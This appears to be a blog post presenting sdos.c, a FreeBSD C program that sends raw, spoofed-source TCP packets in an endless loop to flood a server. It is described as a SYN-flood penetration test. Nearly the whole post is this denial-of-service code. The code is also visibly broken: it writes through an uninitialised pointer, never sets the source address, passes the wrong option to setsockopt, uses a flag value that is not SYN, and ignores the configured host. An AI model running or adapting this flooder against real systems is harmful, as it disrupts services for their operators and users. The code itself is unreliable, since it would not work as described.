FreeBSD TCP handshake exploit

FreeBSD TCP handshake exploit

I have worked on exploiting a TCP handshake vulnerability using native FreeBSD C libraries.

The original project can be found here.

/*
 * ============================================================================
 *
 * (c)2002-2014. Kris Nova. All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *=============================================================================
 *
 * sdos.c
 *
 * Tested and compiled on FreeBSD 10+
 *
 * A simple C script to attempt to flood a server with SYN requests in the
 * hopes of determining the threshold for availability.
 *
 * This is an isolated penetration test that will send requests via a unique
 * thread.
 *=============================================================================
 */

/* Includes */
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <string.h>
#include <sys/socket.h>
#include <errno.h>
#include <arpa/inet.h>
#include <time.h>

/* Interface */
int main(int argc, char *argv[]);
unsigned short csum(unsigned short *ptr, int nbytes);
void usage();
int flood();
char* randIp();

/**
 * configuration
 *
 * The basic information for defining where we will send the pen request
 */
struct configuration
{
	char *ip;
	char *message;
	int port;
	int verbose;
};

/**
 * main
 *
 * Handles argument parsing and building the configuration struct
 *
 * int argc The total amount of arguments passed
 * char *argv[] Array of arguments space dilimited
 */
int main(int argc, char *argv[])
{
	//Set defaults
	struct configuration cfg;
	cfg.ip = "127.0.0.1";
	cfg.port = 1234;
	cfg.message = "...";
	cfg.verbose = 0;

	//Define
	unsigned int seed;
	unsigned int ii;

	// Invalid command, display usage
	int i;
	if (argc <= 2)
	{
		usage();
		exit(0);
	}

	// Parse arguments
	for (i = 0; i < argc; i++)
	{
		if (argv[i][0] == '-')
		{
			switch (argv[i][1])
			{
			case 'v':
				//Verbose
				cfg.verbose = 1;
				break;
			case 'h':
				//Host
				cfg.ip = argv[i + 1];
				break;
			case 'p':
				//Port
				cfg.port = atoi(argv[i + 1]);
				break;
			case 'm':
				//Message
				cfg.message = argv[i + 1];
				break;
			}
		}
	}
	//Call flood with our configuration
	seed = time(NULL);
	ii = 0;
	while (flood(cfg))
	{
		seed++;
		ii++;
		srand(seed);
		printf("Iterations: %i\n", ii);
	}
	//Fin
	return 1;
}

/**
 * csum
 *
 * Used to calculate the checksum
 */
unsigned short csum(unsigned short *ptr, int nbytes)
{
	register long sum;
	unsigned short oddbyte;
	register short answer;
	sum = 0;
	while (nbytes > 1)
	{
		sum += *ptr++;
		nbytes -= 2;
	}
	if (nbytes == 1)
	{
		oddbyte = 0;
		*((u_char*) &oddbyte) = *(u_char*) ptr;
		sum += oddbyte;
	}
	sum = (sum >> 16) + (sum & 0xffff);
	sum = sum + (sum >> 16);
	answer = (short) ~sum;
	return (answer);
}

/**
 * flood
 *
 * The main function for the test
 * Handles sending the packets to the server in test
 */
int flood(struct configuration *cfg)
{
	//Create a raw socket
	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096], source_ip[32];
	//IP header
	struct ip *iph = (struct ip *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof(struct ip));
	//Socket
	struct sockaddr_in sin;
	//Spoof struct (for calculation the checksum)
	struct ippseudo ipps;

	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	//TODO random IP
	sin.sin_addr.s_addr = inet_addr(randIp());

	//Zero out the buffer
	memset(datagram, 0, 4096);

	//IP header
	iph->ip_hl = 5;
	iph->ip_v = 4;
	iph->ip_tos = 0;
	iph->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
	iph->ip_id = htons(54321);
	iph->ip_off = 0;
	iph->ip_ttl = 255;
	iph->ip_p = IPPROTO_TCP;
	iph->ip_sum = 0;
	struct in_addr ipsrc;
	ipsrc.s_addr = inet_addr(source_ip);
	iph->ip_src = ipsrc;
	struct in_addr ipdst;
	ipdst.s_addr = sin.sin_addr.s_addr;
	iph->ip_dst = ipdst;
	iph->ip_sum = csum((unsigned short *) datagram, iph->ip_len >> 1);

	//TCP Header
	tcph->th_sport = htons(1234);
	tcph->th_dport = htons(80);
	tcph->th_seq = 0;
	tcph->th_ack = 0;
	//First and only TCP segment
	tcph->th_off = 5;
	tcph->th_flags = 00000010;
	//Max window size
	tcph->th_win = htons(5840);
	//The kernel will handle calculation this
	tcph->th_sum = 0;
	tcph->th_urp = 0;

	//Spoof struct
	struct in_addr spfsrc;
	spfsrc.s_addr = inet_addr(source_ip);
	ipps.ippseudo_src = spfsrc;
	struct in_addr spfdst;
	spfdst.s_addr = sin.sin_addr.s_addr;
	ipps.ippseudo_dst = spfdst;
	ipps.ippseudo_pad = 0;
	ipps.ippseudo_p = IPPROTO_TCP;
	ipps.ippseudo_len = htons(20);

	//Calculate checksum for the TCP header
	tcph->th_sum = csum((unsigned short*) &ipps, sizeof(struct ippseudo));

	//IP_HDRINCL to tell the kernel that headers are included in the packet
	int one = 1;
	const int *val = &one;
	if (setsockopt(s, IPPROTO_IP, PF_INET, val, sizeof(one)) < 0)
	{
		printf("Error setting IP_HDRINCL. "
				"Error number : %d . "
				"Error message : %s \n",
		errno, strerror(errno));
		exit(0);
	}

	//Send the packet
	if (sendto(s, /* our socket */
	datagram, /* the buffer containing headers and data */
	iph->ip_len, /* total length of our datagram */
	0, /* routing flags, normally always 0 */
	(struct sockaddr *) &sin, /* socket addr, just like in */
	sizeof(sin)) < 0) /* a normal send() */
	{
		printf("Packet transmission failed!\n");
		return 1;
	}
	//Data send successfully
	else
	{
		printf("Packet transmission success!\n");
		return 1;
	}
}

/**
 * randIp
 *
 * Will generate a random IP address to spoof the packet with
 */
char* randIp()
{
	char *ip;
	sprintf(ip,
			"%d.%d.%d.%d",
			rand() & 126,
			rand() & 255,
			rand() & 255,
			rand() & 255);
	printf("Random IP: %s\n", ip);
	return ip;
}

/**
 * usage
 *
 * How do we run this thing
 */
void usage()
{
	printf("./sdos <options>\n");
	printf("\n");
	printf("v     Verbose - Enables verbosity\n");
	printf("h     Host    - IP of host to connect to\n");
	printf("p     Port    - The numerical port to connect on\n");
	printf("m     Message - Optional message to send to the server\n");
	printf("\n");

}

LEAVE A COMMENT

0 comment